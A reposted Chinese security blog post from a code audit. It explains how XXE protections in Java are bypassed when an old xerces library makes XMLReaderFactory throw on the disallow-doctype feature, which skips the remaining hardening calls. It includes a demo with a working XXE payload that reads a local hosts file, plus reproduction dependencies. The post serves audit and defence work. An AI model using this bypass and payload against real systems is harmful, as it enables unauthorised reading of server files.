暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Java XXE 漏洞做了 doctype 防护情况下的一种绕过案例

安全档案 2020-06-12
1503

关于漏洞

这个漏洞是我最近在做代码审计时发现的,代码中处理传入的 XML 代码时使用了 XMLReaderFactory.createXMLReader()
,并且在 classpath 下有 xerces 2.2.1 及以下版本时就会无视禁止 Doctype 的 Feature。XMLReaderFactory 是 JDK 的一个 XML 处理工厂类,xerces 是 Apache 的一个 XML 解析库。

漏洞分析


首先附上一段做过了 XXE 防护的 Demo

package xml;


import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;


import java.io.IOException;
import java.io.StringBufferInputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;


/**
* @author 浅蓝
* @email blue@ixsec.org
* @since 2020/6/12 19:41
*/
public class XXE {


public static void main(String[] args) throws IOException, SAXException {


XMLReader xmlReader = null;
try {
xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
} catch (SAXNotSupportedException e) {
e.printStackTrace();
} catch (SAXNotRecognizedException e) {
e.printStackTrace();
} catch (SAXException e) {
e.printStackTrace();
}
MyHandler myHandler = new MyHandler();
xmlReader.setContentHandler(myHandler);
System.out.println(xmlReader.getClass());
xmlReader.parse(new InputSource(new StringBufferInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">\n" +
" ]>\n" +
"<evil>&xxe;</evil>")));
}


}
class MyHandler extends DefaultHandler{
String key,value;
Map<String,String> map=new HashMap<String,String>();
Set<String> must=new HashSet<String>();
public void startDocument() throws SAXException {}
public void startElement(String uri, String localName, String rawName, Attributes attlist)throws SAXException {
key=localName;
}
public void characters(char[] ch, int start, int length) {
System.out.println(new String(ch, start, length));
value = new String(ch, start, length);
}
public void endElement(String uri, String localName, String rawName) throws SAXException {
map.put(key,value);
}
public void endDocument() throws SAXException{
}
Map<String,String> getMap(){ return map;}


}
复制

当使用了正常的 XMLReaderFactory 去创建一个 XMLReader 解析 XXE 代码,就会抛出不允许使用 DOCTYPE 的异常。

首先跟进工厂类的 createXMLReader 观察是如何创建 XMLReader 对象的。

    public static XMLReader createXMLReader ()
throws SAXException
{
String className = null;
ClassLoader cl = ss.getContextClassLoader();


// 1. try the JVM-instance-wide system property
try {
className = ss.getSystemProperty(property);
}
catch (RuntimeException e) { /* continue searching */ }


// 2. if that fails, try META-INF/services/
if (className == null) {
if (!_jarread) {
_jarread = true;
String service = "META-INF/services/" + property;
InputStream in;
BufferedReader reader;


try {
if (cl != null) {
in = ss.getResourceAsStream(cl, service);


// If no provider found then try the current ClassLoader
if (in == null) {
cl = null;
in = ss.getResourceAsStream(cl, service);
}
} else {
// No Context ClassLoader, try the current ClassLoader
in = ss.getResourceAsStream(cl, service);
}


if (in != null) {
reader = new BufferedReader (new InputStreamReader (in, "UTF8"));
_clsFromJar = reader.readLine ();
in.close ();
}
} catch (Exception e) {
}
}
className = _clsFromJar;
}


// 3. Distro-specific fallback
if (className == null) {
// BEGIN DISTRIBUTION-SPECIFIC


// EXAMPLE:
// className = "com.example.sax.XmlReader";
// or a $JAVA_HOME/jre/lib/*properties setting...
className = "com.sun.org.apache.xerces.internal.parsers.SAXParser";


// END DISTRIBUTION-SPECIFIC
}


// do we know the XMLReader implementation class yet?
if (className != null)
return loadClass (cl, className);


// 4. panic -- adapt any SAX1 parser
try {
return new ParserAdapter (ParserFactory.makeParser ());
} catch (Exception e) {
throw new SAXException ("Can't create default XMLReader; "
+ "is system property org.xml.sax.driver set?");
}
}
复制

大概流程如下

如果系统变量里有 org.xml.sax.driver
 就将其值作为类名实例化
如果当前 classpath 下有 META-INF/services/org.xml.sax.driver
 文件就拿文件第一行的内容作为类名实例化
如果以上两种情况都不满足则默认将 JDK 的com.sun.org.apache.xerces.internal.parsers.SAXParser
类实例化

一般默认获取的对象都是第三种。

而我发现的绕过方法是基于第二步,从 classpath 下获取 META-INF/services/org.xml.sax.driver
中的类名。

经过测试我发现当程序使用了 xerces 2.2.1 版本再设置禁止 doctype 时会抛出异常。

xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
复制

大多数情况下,在做 XXE 防护时第一个设置的就是 doctype,而当使用了 xerces 的时候设置禁止使用 doctype 会抛出异常,导致 try 代码块中的其他部分 setFeature 都无法执行,从而可以绕过 XXE 的防护,进行 XXE 攻击。即使 doctype 不是第一个设置的,也是可以进行 XXE DOS 攻击的。

漏洞复现

<!-- https://mvnrepository.com/artifact/xerces/xerces -->
<dependency>
<groupId>xerces</groupId>
<artifactId>xerces</artifactId>
<version>2.2.1</version>
</dependency>
复制
        <!-- https://mvnrepository.com/artifact/commons-jelly/commons-jelly -->
<dependency>
<groupId>commons-jelly</groupId>
<artifactId>commons-jelly</artifactId>
<version>1.0.1</version>
</dependency>
复制

使用 maven 导入以上两个库中的的任意一个。

一般 commons-jelly 用的比较多,还是最新版本。

工厂类创建 XMLReader 时,获取的是 xerces 的类。

在 XXE 防护失效后成功读取本地文件。

总结

所以以后再做代码审计时,不要看到设置了禁止使用 Doctype 时就觉得没漏洞了。


文章转载自安全档案,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论